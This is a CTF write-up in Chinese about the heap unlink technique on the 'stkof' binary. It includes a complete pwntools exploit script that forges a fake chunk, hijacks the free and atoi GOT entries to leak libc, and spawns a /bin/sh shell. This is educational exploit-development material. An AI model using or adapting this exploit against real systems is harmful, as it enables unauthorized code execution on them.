Unlink
1.stkof
程序分析:
首先根据选项把相应函数定义好:
//alloc():
v4 = __readfsqword(0x28u);
fgets(s, 16, stdin);
size = atoll(s); //输入想要的chunk的大小
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
globals[++cnt] = v2; //在global存储chunk地址
printf("%d\n", (unsigned int)cnt); //打印chunk号,cnt表明第几个chunk
return 0LL;
//对应的wp函数:
def add(size):
io.sendline(b'1')
io.sendline(str(size))
io.recvuntil('OK\n')
//fill():
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin);
idx = atol(s); //输入想要修改的chunk号
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
size = atoll(s); //输入将要修改chunk的内容的length,即下面要输入的payload的长度
ptr = globals[idx]; //将指针指向要修改的chunk
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
} //输入payload
if ( size )
return 0xFFFFFFFFLL;
else
return 0LL;
//对应的wp函数
def edit(idx,text):
io.sendline(b'2')
io.sendline(str(idx))
io.sendline(str(len(text)))
io.send(text)
io.recvuntil('OK\n')
//free_chunk
v3 = __readfsqword(0x28u);
fgets(s, 16, stdin);
idx = atol(s); //输入想free调第几个chunk
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
free(globals[idx]); //free掉相应chunk
globals[idx] = 0LL; //指针复0
return 0LL;
//对应的wp函数
def free(idx):
io.sendline(b'3')
io.sendline(str(idx))
另外比较重要的就是globals,用于存储各chunk的指针
保护情况:
Partial RELRO意味着可劫持got表
首先创建五个chunk:
add(0x20) #chunk1
add(0x40) #chunk2
add(0x30) #chunk3
add(0x80) #chunk4
add(0x30) #chunk5 第五个chunk没必要创建其实
此时global(0x602140)地址也存储上了各chunk地址
此时使用unlink(使指向某chunk的指针,unlink后指向&chunk-0x18)例如若对chunk3(0x602158)使用即可修改chunk3指针到chunk0–> 0x602140 = chunk3(0x602158 - 0x18),此时若再做edit(chunk3)就可从chunk0(0x602140)开始修改chunk0~5乃至以后的指针地址
具体利用:
chunk0 = 0x602140
chunk3 = 0x602158 #chunk0 + 0x18
fd = chunk3 - 0x18 # fd + 0x18(p + 0x18 = bk) = chunk3
bk = chunk3 - 0x10 # bk + 0x10(p + 0x10 = fd) = chunk3
payload = p64(0) + p64(0x30) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + p64(0x90) # build fake_chunk
edit(3,payload)
unlink:
free(4)
fake_chunk和chunk4合并
chunk3指向原chunk3(0x602158) - 0x18 = 0x602140
这时我们edit(3,payload):
puts_plt = elf.plt['puts']
puts_got = elf.got['puts'] #0x602020
free_got = elf.got['free'] #0x602018
atoi_got = elf.got['atoi']
payload = b'a'*0x8 + p64(free_got) + p64(puts_got)
# chunk0 chunk1 chunk2
edit(3,payload)
此时若再edit(chunk1)就是修改free函数got表的内容,我们这里把free函数修改为puts函数
edit(1,p64(puts_plt)) # 将free_got修改为puts_plt
free(2) # 执行puts_plt(puts_got)
再次执行free也就等于调用了puts函数,而2对应指向chunk2,也就是我们已提前修改的puts_got
这样就输出了puts_got,也就能泄露出libc基地址以及system等函数
puts_addr = u64(io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
slog('puts',puts_addr)
libc_base = puts_addr - libc.sym['puts']
slog('libc_base',libc_base)
sys_addr = libc_base + libc.sym['system']
此时我们发现main函数里有atoi(nptr),而npts又是有我们输入的
那只需将atoi函数got表的位置修改为system函数再输入/bin/sh,即可得到shell
#将chunk1位置修改为atoi_got的地址,再修改atoi_got修改为system函数
payload = b'a'*0x8 + p64(atoi_got)
edit(3,payload)
edit(1,p64(sys_addr))
bin_sh = b'/bin/sh\x00'
io.sendline(bin_sh)
from pwn import *
from ctypes import *
from time import sleep
from LibcSearcher import *
#context(arch = elf.arch,log_level = 'debug',os = 'linux')
context(arch = "amd64",os = "linux",log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']
file_name = 'pwn'
elf = ELF(file_name)
libc= ELF('./libc.so.6')
#libc= ELF('./libc-2.31.so')
debug = 0
if debug:
io = remote('xyctf.top', 33611)
else:
io = process(file_name)
def slog(name, address): print("\033[40;34m[+]\033[40;35m" + name + "==>" +hex(address) + "\033[0m")
# gdb.attach(io,'b *$rebase(0x124e)')
def add(size):
io.sendline(b'1')
io.sendline(str(size))
io.recvuntil('OK\n')
def free(idx):
io.sendline(b'3')
io.sendline(str(idx))
def edit(idx,text):
io.sendline(b'2')
io.sendline(str(idx))
io.sendline(str(len(text)))
io.send(text)
io.recvuntil('OK\n')
#创建chunk
add(0x20) #chunk1
add(0x40) #chunk2
add(0x30) #chunk3
add(0x80) #chunk4
add(0x30) #chunk5
#unlink
chunk0 = 0x602140
chunk3 = 0x602158 #chunk0 + 0x18
fd = chunk3 - 0x18 # fd + 0x18(p + 0x18 = bk) = chunk3
bk = chunk3 - 0x10 # bk + 0x10(p + 0x10 = fd) = chunk3
payload = p64(0) + p64(0x30) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + p64(0x90) # build fake_chunk
edit(3,payload)
free(4)
io.recvuntil('OK\n')
#泄露Libc地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']
payload = b'a'*0x8 + p64(free_got) + p64(puts_got)
# chunk0 chunk1 chunk2
edit(3,payload)
edit(1,p64(puts_plt)) # 将free_got修改为puts_plt
free(2) # 执行puts_plt(puts_got)
puts_addr = u64(io.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
slog('puts_addr',puts_addr)
libc_base = puts_addr - libc.sym['puts']
slog('libc_base',libc_base)
sys_addr = libc_base + libc.sym['system']
#将chunk1位置修改为atoi_got的地址,再修改atoi_got修改为system函数
payload = b'a'*0x8 + p64(atoi_got)
edit(3,payload)
edit(1,p64(sys_addr))
bin_sh = b'/bin/sh\x00'
io.sendline(bin_sh)
io.interactive()